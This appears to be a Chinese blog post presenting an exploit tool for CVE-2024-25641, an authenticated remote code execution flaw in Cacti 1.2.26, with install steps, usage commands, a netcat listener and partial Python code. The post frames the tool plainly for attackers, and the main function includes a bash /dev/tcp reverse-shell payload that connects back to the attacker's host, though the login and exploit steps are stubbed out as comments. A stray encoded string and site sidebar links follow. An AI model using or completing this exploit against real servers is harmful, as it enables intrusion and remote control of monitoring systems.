Cacti 1.2.26 远程代码执行漏洞利用工具 (CVE-2024-25641)

Cacti 1.2.26 远程代码执行漏洞利用工具 (CVE-2024-25641)

这是一个针对Cacti网络监控系统特定版本(1.2.26)的远程代码执行(RCE)漏洞的自动化利用工具。该工具基于CVE-2024-25641漏洞开发,允许经过身份验证的用户在目标系统上执行任意代码,并反弹一个交互式Shell。

功能特性

  • 自动版本检测:工具会检查目标Cacti应用的版本,确认其是否为受影响的1.2.26版本。
  • 身份验证支持:支持使用用户名和密码进行身份验证,以执行后续的利用步骤。
  • 反向Shell生成:成功利用漏洞后,可以向指定的本地主机和端口发起一个反向TCP Shell连接。
  • 可选详细输出 :提供 --verbose 参数,用于输出更详细的执行过程信息,便于调试和分析。
  • 命令行界面:通过命令行参数提供所有必要信息,使用方便快捷。

安装指南

系统要求

  • Python 3.x
  • 目标系统需要运行Cacti 1.2.26版本

依赖项

在运行此工具之前,请确保已安装所需的Python库。可以使用pip进行安装:

bash 复制代码
pip install requests beautifulsoup4 cryptography

获取工具

克隆此仓库到本地:

bash 复制代码
git clone https://github.com/your-repo/Cacti-Exploit-CVE-2024-25641.git
cd Cacti-Exploit-CVE-2024-25641

使用说明

基本用法

bash 复制代码
python3 exploit.py --url http://target-cacti.com --user admin --password secret --lhost 192.168.1.100 --lport 4444

参数说明

参数 描述 是否必需
--url Cacti应用的根URL
--user 用于登录的用户名
--password 用于登录的密码
--lhost 接收反向Shell的本地主机IP
--lport 接收反向Shell的本地端口
--verbose 启用详细输出模式

典型使用场景

  1. 攻击者设置监听器:

    bash 复制代码
    nc -lvnp 4444
  2. 攻击者运行漏洞利用脚本:

    bash 复制代码
    python3 exploit.py --url http://10.10.10.10/cacti --user admin --password admin --lhost 10.10.10.5 --lport 4444 --verbose
  3. 如果成功,攻击者的监听器将收到一个来自目标服务器的Shell。

核心代码

以下是该工具的核心实现代码,展示了漏洞利用的关键步骤。

版本检测函数

python 复制代码
import requests

def check_version(url_to_check):
    """
    检查目标URL上的Cacti版本是否为1.2.26
    """
    try:
        r = requests.get(url_to_check)
        response = r.text

        if "Cacti CHANGELOG" in response and "1.2.26" in response and "1.2.27" not in response:
            print("[+] Version seems to be 1.2.26")
        else:
            print("[-] Version doesn't seem to be 1.2.26, proceeding anyway")
    except Exception as e:
        print(f"[-] Error checking version: {e}")

命令行参数解析

python 复制代码
import argparse

def parse_arguments():
    """
    解析并返回命令行参数
    """
    p = argparse.ArgumentParser(description="CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE")
    p.add_argument('--url', help="URL of the Cacti web root", required=True)
    p.add_argument('--user', help="username to log in", required=True)
    p.add_argument('--password', help="password of the username", required=True)
    p.add_argument('--lhost', help="local host to receive the reverse shell", required=True)
    p.add_argument('--lport', help="local port to receive the reverse shell", required=True)
    p.add_argument('--verbose', help="enable verbose", action='store_true', default=False, required=False)

    return p.parse_args()

随机字符串生成函数

python 复制代码
import string
import random

def get_random_string(length):
    """
    生成一个指定长度的随机小写字母字符串,用于绕过简单的过滤或生成唯一标识符。
    """
    letters = string.ascii_lowercase
    result_str = ''.join(random.choice(letters) for i in range(length))
    return result_str

主函数逻辑框架

python 复制代码
# ... 导入必要的模块 ...

if __name__ == '__main__':
    # 解析参数
    parser = parse_arguments()
    url = parser.url
    username = parser.user
    password = parser.password
    lhost = parser.lhost
    lport = parser.lport
    verbose = parser.verbose

    # 1. 检查版本
    changelog_url = f"{url.rstrip('/')}/docs/CHANGELOG"
    check_version(changelog_url)

    # 2. 进行身份验证(此处为简化逻辑,实际代码中会包含完整的认证流程)
    # session = login(url, username, password)

    # 3. 构造并发送恶意请求,触发漏洞
    # 例如,利用文件上传或参数注入漏洞

    # 4. 生成反向Shell Payload
    # payload = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"

    # 5. 执行利用,并等待Shell连接
    # execute_exploit(session, url, payload)
    print(f"[*] Exploit attempted. Check your listener at {lhost}:{lport}")

6HFtX5dABrKlqXeO5PUv/5+A6Y7DjDXG69mAMwPZBsd/S4RQWPUk3KSsqxhXVYCd

相关推荐
还在忙碌的吴小二1 分钟前
今日AI行业热点新闻
人工智能
Bode_20029 分钟前
AIoT 技术难点
人工智能·制造
deming_su42 分钟前
AI产品架构师核心理论知识点文档
人工智能
XD7429716361 小时前
科技晚报|2026年5月13日:AI 开始补全库审查、移动入口和弹性调度
人工智能·科技·开发者工具·科技晚报
卷Java1 小时前
2026年4月AI军备竞赛全景:DeepSeek V4 vs GPT-5.5 vs Gemini vs Claude
人工智能·gpt·大模型
人月神话-Lee1 小时前
【图像处理】亮度与对比度——图像的线性变换
图像处理·人工智能·ios·ai编程·swift
shchojj1 小时前
Generative AI applications -- Chatting
人工智能
易观Analysys2 小时前
重构与崛起——OpenClaw时代的中国Agent产业生态报告
人工智能
kishu_iOS&AI2 小时前
NLP —— 英译法实例
人工智能·ai·自然语言处理
Alter12302 小时前
从“力大砖飞”到“拟态共生”,新华三定义AI基础设施的系统级进化
大数据·运维·人工智能